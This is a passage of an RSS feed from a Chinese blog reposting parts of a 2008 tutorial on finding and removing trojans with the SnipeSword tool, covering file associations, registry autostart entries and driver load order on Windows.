<p style="margin: 0cm 0cm 0pt; line-height: 150%"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font><span style="font-family: 宋体">狙剑提供了对所有文件关联进行检查的功能，看下图</span><font face="Times New Roman">03-30</font><span style="font-family: 宋体">：</span></p>
<br />
 <img height="370" alt="" src="http://laiba.tianya.cn/laiba/images/37007/09487204860793978383/A/1/l.jpg" width="500" onload="javascript : img_auto_size(this,500,true);" align="center" boder="0" /><br />
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">打开狙剑，在基本功能中选择&#8220;注册项扫描&#8221;，就可以对所有的文件关联及</span><font face="Times New Roman">COM</font><span style="font-family: 宋体">注册项等进行扫描。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">查找规则是列出所有非系统程序的文件关联，也就是说如果某一类型的文件并不是由系统程序打开的，那么就会被列出。虽然已经隐藏了上千个系统文件的文件关联，但剩下的仍然会有很多。不过，虽然不少，可是并不难判断，一个程序通常对应着很多种类型的文件，比如，一个暴风影音就对应叫几十种文件类型，很容易就可以判断出这是正常的关联。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">当然了，这功能平时用的机会并不多，但是一旦一只马儿清掉后，过几天就又死灰复燃时，检查文件关联也许会有意外的收获。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">下面呢，我们再说一说文件关联的设置，如果一个文件关联被木马修改了，我们如何改回正常的呢？通过上面的讲解，也许有基础的朋友已经可以通过修改注册表来实现文件关联的修改了。但是我们还有更简单的方法来进行文件关联的修改与设置，看下图</span><font face="Times New Roman">03-31</font><span style="font-family: 宋体">：</span></p>
<br />
 <img height="351" alt="" src="http://laiba.tianya.cn/laiba/images/37007/09487204850633056894/A/1/l.jpg" width="461" onload="javascript : img_auto_size(this,500,true);" align="center" boder="0" /><br />
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">当打开一个未注册的文件时，或我们在清掉了一个原有的文件关联后，如上图所示，系统会弹出提示一个窗口。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><font face="Times New Roman">ABC.Test</font><span style="font-family: 宋体">的扩展名是&#8220;</span><font face="Times New Roman">.Test</font><span style="font-family: 宋体">&#8221;这是我自己随便取的一个名字，系统当然不知道，对于不知道类型的文件，文件的图标通常就是上面图中的样子，一个标准的文件图标。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">这个类型的文件网上也不会有，所以也不用偿试在网上找了，不过，如果一般的可以偿试在网上找一找。这里我们自己来选择相应的文件关联程序，所以，我们选了上图中下面的一个选项&#8220;从列表中选择程序&#8221;。这个选项的意思是，由我们自己来选择用哪一个程序来打开扩展名是&#8220;</span><font face="Times New Roman">Test</font><span style="font-family: 宋体">&#8221;的文件。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">单击确定后，会出现下图所示的窗口，看图</span><font face="Times New Roman">03-32</font><span style="font-family: 宋体">：</span></p>
<br />
 <img height="473" alt="" src="http://laiba.tianya.cn/laiba/images/37007/09487204840770705945/A/1/l.jpg" width="398" onload="javascript : img_auto_size(this,500,true);" align="center" boder="0" /><br />
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><font face="Times New Roman">Windows</font><span style="font-family: 宋体">列了当前系统中安装的所有程序来供我们选择，这里我们选中了记事本，然后勾选下面的&#8220;始终使用选择的程序打开这种文件&#8221;，然后，点确定，就完成了</span><font face="Times New Roman">.Test</font><span style="font-family: 宋体">这种文件的文件关联设置。如果列表中没有我们需要的程序，还可以点击&#8220;浏览&#8221;自己找需要的程序。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">设置完成后，以后一旦我们双击扩展名为</span><font face="Times New Roman">Test</font><span style="font-family: 宋体">的文件，系统就会自动的调用记事本来打开这个文件。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">说完文件关联的，我们再接着说下一种。</span></p>
--------------------------------------------------------------------------------------<br />
本文转自狙剑作者的blog----MuseHero.blog.tianya.cn
 <img src ="http://www.blogjava.net/viking/aggbug/211361.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/viking/" target="_blank">viking</a> 2008-06-28 18:17 <a href="http://www.blogjava.net/viking/archive/2008/06/28/211361.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>疱丁解马－木马查杀深度剖析之自启动项篇（三）（转）</title><link>http://www.blogjava.net/viking/archive/2008/06/28/211359.html</link><dc:creator>viking</dc:creator><author>viking</author><pubDate>Sat, 28 Jun 2008 10:13:00 GMT</pubDate><guid>http://www.blogjava.net/viking/archive/2008/06/28/211359.html</guid><wfw:comment>http://www.blogjava.net/viking/comments/211359.html</wfw:comment><comments>http://www.blogjava.net/viking/archive/2008/06/28/211359.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/viking/comments/commentRss/211359.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/viking/services/trackbacks/211359.html</trackback:ping><description><![CDATA[<p style="margin: 0cm 0cm 0pt; line-height: 150%"><strong><span style="color: blue"><font face="Times New Roman">2</font></span></strong><strong><span style="color: blue; font-family: 宋体">、开机自运行的程序</span></strong></p>
<br />
 <br />
<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">&#8220;开机自动运行程序&#8221;是操作系统为方便用户的使用而提供的一个方法，让每次开机都须频繁操作的一些工作得到自动的执行。而木马只是利用了这一方法，来完成自己的非法启动目的罢了。</span></p>
<br />
 <br />
<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">最经典的启动位置，也是操作系统特别提供给用户的位置就是&#8220;启动文件夹&#8221;，在开始菜单中选择&#8220;所有程序&#8221;，里面的&#8220;启动&#8221;就是了。放在此文件夹中的所有程序，都将在下次启动时用户登录后，自动启动起来。这里面涉及到&#8220;用户&#8221;这个概念，先看下图</span><font face="Times New Roman">03-24</font><span style="font-family: 宋体">：</span></p>
<br />
 <br />
<img height="402" alt="" src="http://laiba.tianya.cn/laiba/images/37007/09487204940922135031/A/1/l.jpg" width="500" onload="javascript : img_auto_size(this,500,true);" align="center" boder="0" /><br />
<br />
 <br />
<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">红框中的就是当前系统中的用户，由上到下分别是&#8220;所有用户&#8221;、&#8220;默认用户&#8221;、&#8220;本地服务账户&#8221;、&#8220;网络服务账户&#8221;、&#8220;</span><font face="Times New Roman">SnipeSword</font><span style="font-family: 宋体">用户（当前用户）&#8221;。前面四个是系统创建的，后面的那个是我们自己创建的用户（名字是我们自己取的）。在&#8220;所有用户&#8221;、&#8220;默认用户&#8221;与&#8220;当前用户&#8221;中都有一套大致相同的配置文件，也就是说都有一个&#8220;启动文件夹&#8221;。</span></p>
<br />
 <br />
<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">启动文件夹是系统提供给我们使用的，但不知道从什么时候开始，就已经很少有人再用这个位置来启动程序了，包括一些正常的需要自启动的第三方程序，也都不再利用这里来启动，而是直接操作注册表来实现程序的自启动。</span></p>
<br />
 <br />
<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">与启动文件夹相比，注册表操作对用户来说，是更神秘而不易查看与操作，我不知道没有技术原因放弃启动文件夹而利用注册表来启动的那些正常软件是出于什么考虑或出于什么目的，但这种形为，却有必要</span><font face="Times New Roman">BS</font><span style="font-family: 宋体">一下儿。</span></p>
<br />
 <br />
<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">下面我们就接着讲注册表中的自启动项，将那些正常的、或非正常的自启动程序，从我们的机器中揪出来，我们的机器我们作主，即使是正常的程序，大量的开机自运行也会造成系统资源的不必要的浪费与消耗，使系统的运行速度减慢。所以，清理自启动项，并不仅仅是查杀木马，这同时也是优化系统时很重要的一步。</span></p>
<br />
 <br />
<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">我一直对那些为了商业竞争而漠视用户权力与自由的所谓正当软件深恶痛绝，我绝不想因为一年中仅用了一次某一软件的某一功能，而就任由这软件在</span><font face="Times New Roman">365</font><span style="font-family: 宋体">天中每天都自动运行起来，消耗掉我宝贵的系统资源。而菜鸟的机器在同样硬件配置的情况下，通常要比高手的机器慢上很多、难用上很多，这些垃圾软件对资源的无谓占用就是很大的一个原因。</span></p>
<br />
 <br />
<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><font face="Times New Roman">OK</font><span style="font-family: 宋体">，闲话少说，我们下面步入正题。</span></p>
<br />
 <br />
<p style="margin: 0cm 0cm 0pt; line-height: 150%"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font><span style="font-family: 宋体">最早加载启动的是驱动程序，这是可以理解的，因为硬件设备与底层功能是由它们来实现的，不先加载它们哪行呢？比如：在加载文件系统驱动之前，所有对文件的读写都是无法实现的，你想能不先加载这些驱动吗？</span></p>
<br />
 <br />
<p style="margin: 0cm 0cm 0pt; line-height: 150%"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font><span style="font-family: 宋体">系统启动时，由引导程序</span><font face="Times New Roman">Ntldr</font><span style="font-family: 宋体">来读入</span><font face="Times New Roman">system</font><span style="font-family: 宋体">注册表文件，加载里面列出的驱动程序。细心的朋友这时可能会有个疑问，文件系统驱动是在这时加载的吗？回答是肯定的&#8220;是的&#8221;，那按上面的说法，文件系统加载前，对文件的读取是无法实现的，那么</span><font face="Times New Roman">Ntldr</font><span style="font-family: 宋体">又如何读取</span><font face="Times New Roman">system</font><span style="font-family: 宋体">注册表文件的呢？呵，能看到这个问题的，我不得不赞一句真是细心啊。答案是：因为</span><font face="Times New Roman">Ntldr</font><span style="font-family: 宋体">中内置了只读的</span><font face="Times New Roman">NTFS</font><span style="font-family: 宋体">与</span><font face="Times New Roman">FAT</font><span style="font-family: 宋体">文件系统代码，虽然很简单但足够用了。再追问下去，</span><font face="Times New Roman">Ntldr</font><span style="font-family: 宋体">也是以文件形式存在的，那</span><font face="Times New Roman">Ntldr</font><span style="font-family: 宋体">这个文件又是如何读取的呢？</span><font face="Times New Roman">Ntldr</font><span style="font-family: 宋体">是引导扇区中的引导代码加载的，而引导扇区中有更加简单的文件系统读取代码，区别是越向上越简单，一直到文件系统驱动接手后，才是完整的文件系统代码。引导代码中的文件系统代码简单到只能读取根目录中的文件，所以</span><font face="Times New Roman">Ntldr</font><span style="font-family: 宋体">只能放在根目录；而</span><font face="Times New Roman">Ntldr</font><span style="font-family: 宋体">中文件系统代码已经能读取子目录中的文件了，所以驱动是可以放到任意目录的。</span></p>
<br />
 <br />
<p style="margin: 0cm 0cm 0pt; line-height: 150%"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font><span style="font-family: 宋体">我们接着来讲驱动的加载，驱动肯定不是一个，那先加载哪个后加载哪个呢？我们先来看一个图</span><font face="Times New Roman">03-25</font><span style="font-family: 宋体">：</span></p>
<br />
 <br />
<img height="418" alt="" src="http://laiba.tianya.cn/laiba/images/37007/09487204931606369713/A/1/l.jpg" width="500" onload="javascript : img_auto_size(this,500,true);" align="center" boder="0" /><br />
<br />
 <br />
<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">上图中是一个典型的驱动在注册表中的注册内容，系统加载时，就是依照这里的内容进行驱动加载的，这个驱动在注册表中的：</span><font face="Times New Roman">HKEY_LOCAL_MACHINE"SYSTEM"CurrentControlSet"Services"sr</font><span style="font-family: 宋体">键下，也就是在</span><font face="Times New Roman">System</font><span style="font-family: 宋体">注册表文件中。这是</span><font face="Times New Roman">XP-</font><span style="font-family: 宋体">系统还原所需要的一个文件过滤系统驱动。</span></p>
<br />
 <br />
<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">注册内容中的各项含义如下：</span></p>
<br />
 <br />
<p style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%; tab-stops: list 21.0pt"><span style="font-family: Wingdings">l<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><font face="Times New Roman"><strong>DisplayName</strong></font><span style="font-family: 宋体">：这是服务名称，在前面一章中我们讲到服务管理器时讲过，这个名字就是在服务管理器中显示的名称，没什么要紧的，随便起一个就行。</span></p>
<br />
 <br />
<p style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%; tab-stops: list 21.0pt"><span style="font-family: Wingdings">l<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><font face="Times New Roman"><strong>ErrorControl</strong></font><span style="font-family: 宋体">：错误控制码，可以取值为，</span><font face="Times New Roman">0 </font><span style="font-family: Wingdings">&#224;</span><span style="font-family: 宋体">忽略任何错误；</span><font face="Times New Roman">1 </font><span style="font-family: Wingdings">&#224;</span><span style="font-family: 宋体">如果出错，显示一个警告；</span><font face="Times New Roman">2 </font><span style="font-family: Wingdings">&#224;</span><span style="font-family: 宋体">如果出错，且有最后一次正确配置则启动最后一次正确配置，否则继续引导过程；</span><font face="Times New Roman">3 </font><span style="font-family: Wingdings">&#224;</span><span style="font-family: 宋体">如果出错，且有最后一次正确配置，则使用最后一次正确配置，否则显示蓝屏崩溃。这里的&#8220;最后一次正确配置&#8221;是指在启动过程中按</span><font face="Times New Roman">F8</font><span style="font-family: 宋体">键进入高级菜单后的其中的一个选项，利用这个选项通常可以正常进入系统。</span></p>
<br />
 <br />
<p style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%; tab-stops: list 21.0pt"><span style="font-family: Wingdings">l<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><font face="Times New Roman"><strong>Group</strong></font><span style="font-family: 宋体">：组的名称，这个根加载顺序就有关系了，我们放到后面详细讲。</span></p>
<br />
 <br />
<p style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%; tab-stops: list 21.0pt"><span style="font-family: Wingdings">l<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><font face="Times New Roman"><strong>ImagePath</strong></font><span style="font-family: 宋体">：驱动或服务的执行文件路径。需要注意的是，如果一个驱动有这一项，那么系统会根据这一项中标明的文件进行加载，如果驱动中没有这一项，系统会自动在</span><font face="Times New Roman">Windows"System32"Drivers"</font><span style="font-family: 宋体">目录下寻找与注册键同名的驱动加载。</span></p>
<br />
 <br />
<p style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%; tab-stops: list 21.0pt"><span style="font-family: Wingdings">l<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><font face="Times New Roman"><strong>Start</strong></font><span style="font-family: 宋体">：</span><span style="font-family: 宋体">驱动或服务的加载启动顺序。可取值为，</span><font face="Times New Roman">0 </font><span style="font-family: Wingdings">&#224;</span><font face="Times New Roman"> Ntldr</font><span style="font-family: 宋体">预先加载此值为零的驱动，在引导过程中这类驱动一直待在内存中；</span><font face="Times New Roman">1 </font><span style="font-family: Wingdings">&#224;</span><span style="font-family: 宋体">在标明为</span><font face="Times New Roman">0</font><span style="font-family: 宋体">的驱动初始化之后，值为</span><font face="Times New Roman">1</font><span style="font-family: 宋体">的驱动开始被加载到内存中并初始化，其是在内核初始化的过程中加载的（参见进程篇的系统启动过程）。</span><font face="Times New Roman">2 </font><span style="font-family: Wingdings">&#224;</span><span style="font-family: 宋体">在</span><font face="Times New Roman">Services.exe</font><span style="font-family: 宋体">启动后，由该进程来加载启动值为</span><font face="Times New Roman">2</font><span style="font-family: 宋体">的驱动或服务（</span><font face="Times New Roman">Service.exe</font><span style="font-family: 宋体">的情况请参阅进程篇）；</span><font face="Times New Roman">3 </font><span style="font-family: Wingdings">&#224;</span><font face="Times New Roman"> Services.exe</font><span style="font-family: 宋体">根据需要加载这类的驱动或服务，也就是在服务管理器的启动一项中标明为&#8220;手动&#8221;的。呵，这里有个概念性的误区，标明为手动并不是指一定要由用户来手动启动，而是由系统识情况启动，当系统需要相应的驱动或服务提供的功能时，系统就将自动启动此服务，而无须用户手动操作；</span><font face="Times New Roman">4 </font><span style="font-family: Wingdings">&#224;</span><span style="font-family: 宋体">驱动或服务并不加载到内存，当然也不启动了。也就是服务管理器中标为&#8220;禁用&#8221;的服务，这一类的服务，即使系统需要用到其提供的功能，也不会自动加载。</span></p>
<br />
 <br />
<p style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%; tab-stops: list 21.0pt"><span style="font-family: Wingdings">l<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><strong><font face="Times New Roman">Tag </font></strong><span style="font-family: 宋体">：在组中的顺序，这也是根加载顺序有关系的，我们同样放到后面讲。</span></p>
<br />
 <br />
<p style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%; tab-stops: list 21.0pt"><span style="font-family: Wingdings">l<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><strong><font face="Times New Roman">Type </font></strong><span style="font-family: 宋体">：服务的类型，可取值为，</span><font face="Times New Roman">1</font><span style="font-family: Wingdings">&#224;</span><span style="font-family: 宋体">设备驱动程序；</span><font face="Times New Roman">2 </font><span style="font-family: Wingdings">&#224;</span><span style="font-family: 宋体">内核模式的文件系统驱动程序；</span><font face="Times New Roman">4 </font><span style="font-family: Wingdings">&#224;</span><span style="font-family: 宋体">已废弃；</span><font face="Times New Roman">8 </font><span style="font-family: Wingdings">&#224;</span><span style="font-family: 宋体">文件系统识别器驱动程序；</span><font face="Times New Roman">16 </font><span style="font-family: Wingdings">&#224;</span><span style="font-family: 宋体">该服务运行在一个只能容纳一个服务的进程中；</span><font face="Times New Roman">32 </font><span style="font-family: Wingdings">&#224;</span><span style="font-family: 宋体">该服务运行在一个可容纳多个服务的进程中；</span><font face="Times New Roman">256 </font><span style="font-family: Wingdings">&#224;</span><span style="font-family: 宋体">允许该服务在控制台显示窗口，并接收用户输入。</p>
<br />
 <br />
<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">除了上面的</span><strong><font face="Times New Roman">Start</font></strong><span style="font-family: 宋体">决定了加载顺序外，还有</span><strong><font face="Times New Roman">Group</font></strong><span style="font-family: 宋体">与</span><strong><font face="Times New Roman">Tag</font></strong><span style="font-family: 宋体">来共同作用决定驱动的加载顺序，下面我们来讲一讲这两个，先来看图</span><font face="Times New Roman">03-26</font><span style="font-family: 宋体">：</span></p>
<br />
 <br />
</span><img height="382" alt="" src="http://laiba.tianya.cn/laiba/images/37007/09487204921150175656/A/1/l.jpg" width="500" onload="javascript : img_auto_size(this,500,true);" align="center" boder="0" /><br />
<br />
 <br />
<p style="margin: 0cm 0cm 0pt; line-height: 150%"><font face="Times New Roman">HKEY_LOCAL_MACHINE"SYSTEM"CurrentControlSet"Control"ServiceGroupOrder</font><span style="font-family: 宋体">键如上图所示，表明了一个组的概念，驱动是分组并按组来分别按顺序加载的，</span><font face="Times New Roman">Group</font><span style="font-family: 宋体">决定了驱动是在哪一个组中，而</span><font face="Times New Roman">Tag</font><span style="font-family: 宋体">却决定了在同一个组的哪一个位置上。注意一下儿就会发现，</span><font face="Times New Roman">Start</font><span style="font-family: 宋体">值为</span><font face="Times New Roman">0</font><span style="font-family: 宋体">的驱动基本上都是分到了靠前的几个组中。</span></p>
<br />
 <br />
<p style="margin: 0cm 0cm 0pt; line-height: 150%"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font><span style="font-family: 宋体">了解了上面的知识后，只要你有足够的耐心，那么你就可以将系统中的驱动加载顺序搞出来了。</span></p>
<br />
 <br />
<p style="margin: 0cm 0cm 0pt; line-height: 150%"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font><span style="font-family: 宋体">驱动加载后，还有一些系统启动过程中需要的程序会得到加载执行的机会，可以参考进程篇中的系统引导过程来看，这里就不多说了，而且应用程序的启动顺序永远无法超越高启动级别的驱动，所以讲他们启动顺序也没多大意义。</span></p>
<br />
 <br />
<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">在注册表中可以启动程序的地方很多，不可能一个个的都讲一讲，也没那个必要。同样的，我们也不可能手动来从注册表中查找每一个启动项，启动项的查找只有依靠专业工具来进行，才是最佳的选择。</span></p>
<span style="font-family: 宋体"><br />
<p style="margin: 0cm 0cm 0pt; line-height: 150%"><span style="font-family: 宋体">启动项管理软件中最出名的无疑是</span><strong><span style="font-size: 10pt; line-height: 150%; font-family: 'Microsoft Sans Serif'">Sysinternals</span></strong><span style="font-size: 10pt; line-height: 150%; font-family: 宋体">出品的</span><strong><font face="Times New Roman">AutoRuns.exe</font></strong><span style="font-family: 宋体">这是国外的一个专业启动项管理工具，很出名。但是如果用于清除木马，这个工具很显然是远远不够的，就像它的名字一样，这是一个&#8220;启动项管理&#8221;工具，它虽然列出了很全的自启动项，但却缺少反黑工具所特有的查找被隐藏的启动项、清除被保护的启动项的能力，我相信我这个评价还是很客观的。在后面的&#8220;自启动项的保护与清除&#8221;一单中我会再详细讲解。</span></p>
<br />
<p style="margin: 0cm 0cm 0pt; line-height: 150%"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font><span style="font-family: 宋体">现在我们再看看狙剑的自启动项管理，狙剑毫无疑问是借签了</span><font face="Times New Roman">AutoRuns.exe</font><span style="font-family: 宋体">的启动项，另外加入了一些</span><font face="Times New Roman">AutoRuns.exe</font><span style="font-family: 宋体">并没有列出的启动项，从全面上来说应该是更胜一筹了，呵，说来也惭愧，站在巨人的肩上总会比巨人高一头的。当然了，最关键的还是狙剑做为一个专业的安全工具来对自启动项进行管理，充分考虑到了木马病毒对自启动项的隐藏与保护，加入了隐藏</span><font face="Times New Roman">HOOK</font><span style="font-family: 宋体">的恢复，所以，更适合安全相关的自启动项管理，我们看看下图</span><font face="Times New Roman">03-27</font><span style="font-family: 宋体">：</span></p>
<br />
<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"></span>&nbsp;</p>
<img height="368" alt="" src="http://laiba.tianya.cn/laiba/images/37007/09487204902091275957/A/1/l.jpg" width="500" onload="javascript : img_auto_size(this,500,true);" align="center" boder="0" /><br />
<br />
<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">注意，下面标明了自启动项的数量是</span><font face="Times New Roman">810</font><span style="font-family: 宋体">，只是这个数包括了分类条目，所以实际的会少一些，但怎么也应该在</span><font face="Times New Roman">790+</font><span style="font-family: 宋体">，这种数量的启动项，用手工来找，很显然是不现实的。另外需要注意的是，在驱动与服务的枚举中，狙剑将启动值为</span><font face="Times New Roman">4</font><span style="font-family: 宋体">也就是标为禁用的驱动与服务同样列了出来，这是为了防止有些恶意驱动，在加载完成后，就将自己改为禁用，等关机时再改回</span><font face="Times New Roman">0</font><span style="font-family: 宋体">值优先启动而考虑的。</span></p>
<br />
<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">对于这大量自启动项的判断上，我们也将用进程判断的方法来进行判断，也就是数字签名验证，在启动列表中按右键选择&#8220;隐藏微软签名项&#8221;后，就会将全部有微软签名的启动项隐藏，剩下的也就没多少了。</span></p>
<br />
<p style="margin: 0cm 0cm 0pt; line-height: 150%"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font><span style="font-family: 宋体">在正常情况下，清除掉所有的非微软签名启动项，是不会影响系统正常使用的。但有些情况是需要注意的，比如：</span><font face="Times New Roman">Tcpip.sys</font><span style="font-family: 宋体">是网络驱动，正常情况下是可以通过微软数字签名验证的。但有些下载软件比如迅雷会修改此驱动以达到最大的连接数，而由于</span><font face="Times New Roman">Tcpip.sys</font><span style="font-family: 宋体">被改动后，将不再能够通过微软的数字签名验证，所以，在不特别注意下，清除所有非微软认证的自启动项时，就会将这个驱动清掉，导致无法上网。</span></p>
<br />
<p style="margin: 0cm 0cm 0pt; line-height: 150%"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font><span style="font-family: 宋体">另外，向进程篇中提到的</span><font face="Times New Roman">Userinit.exe</font><span style="font-family: 宋体">的情况也是类似的，</span><font face="Times New Roman">Userinit.exe</font><span style="font-family: 宋体">同样为系统必须的程序，但如果这种程序被感染了，那么，直接清掉就会存在问题，当然了，安全程序在清这类启动必须的程序时是不会删掉启动项的，但作为我们用户来说一定要搞清除哪些是木马的启动项，那些是被修改或感染的系统启动项，对这种被修改或感染的系统文件的处理，最佳方式无疑就是利用&#8220;系统文件修复&#8221;功能了。而千万不要直接手动清除相应的启动项，清掉后，将导致系统功能出现问题甚至不能进入系统。</span></p>
<br />
<p style="margin: 0cm 0cm 0pt; line-height: 150%"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font><span style="font-family: 宋体">所以，对启动项进行清理时，在隐藏微软验证的文件后，仍然要对剩余的进行判断，有针对性的清理，当然，判断的过程是需要经验的，但是，想成为一个高手，这份经验的积累是必须的，世界上没有白吃的午餐，不想做一个使用傻瓜式软件的傻瓜，那么一些必要的学习与充电也就是必须的。第一次清理时不知道，上网查询或求助，第二次就知道了。相信，不长时间就可以完成经验的积累。</span></p>
<br />
<p style="margin: 0cm 0cm 0pt; line-height: 150%"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font><span style="font-family: 宋体">最后需要说明的是，新的启动位置仍然在不断的挖掘中，没有哪个软件敢说全，只能是比较全而已，仍然需要不断的补充与完善。</span></p>
--------------------------------------------------------------------------------------<br />
本文转自狙剑作者的blog----MuseHero.blog.tianya.cn
<img src ="http://www.blogjava.net/viking/aggbug/211359.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/viking/" target="_blank">viking</a> 2008-06-28 18:13 <a href="http://www.blogjava.net/viking/archive/2008/06/28/211359.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>疱丁解马－木马查杀深度剖析之自启动项篇（一）（转）</title><link>http://www.blogjava.net/viking/archive/2008/06/28/211356.html</link><dc:creator>viking</dc:creator><author>viking</author><pubDate>Sat, 28 Jun 2008 10:10:00 GMT</pubDate><guid>http://www.blogjava.net/viking/archive/2008/06/28/211356.html</guid><wfw:comment>http://www.blogjava.net/viking/comments/211356.html</wfw:comment><comments>http://www.blogjava.net/viking/archive/2008/06/28/211356.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/viking/comments/commentRss/211356.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/viking/services/trackbacks/211356.html</trackback:ping><description><![CDATA[<p style="margin: 0cm 0cm 0pt; line-height: 150%"><strong><span style="font-size: 12pt; color: red; line-height: 150%; font-family: 宋体">四、木马的查杀之自启动项篇</span></strong></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">自启动项的检查与清除，毫无疑问是查杀木马的关键手段与方法。而且，清掉木马的自启动项，让其自然而亡，是最优雅的杀马方法，不那么暴力也就轻易不会遇到反击。对驱动级的或注入型的木马，这种手段更显其优越性。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">而自启动项的选择与设置，更是一种创意的体现，一些非技术型的木马通常可在此看到其作者非同一般的创造性思维。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">自启动，顾名思义，就是无须用户干预而自行启动的程序，按启动方式又分为两种，一种是开机自运行的程序；一种是触发式启动的程序。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">下面我们将分别来解剖之，但在此之前，我们先要学习一些基础的知识：</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; line-height: 150%"><strong><span style="color: blue"><font face="Times New Roman">1</font></span></strong><strong><span style="color: blue; font-family: 宋体">、注册表基础</span></strong></p>
<br />

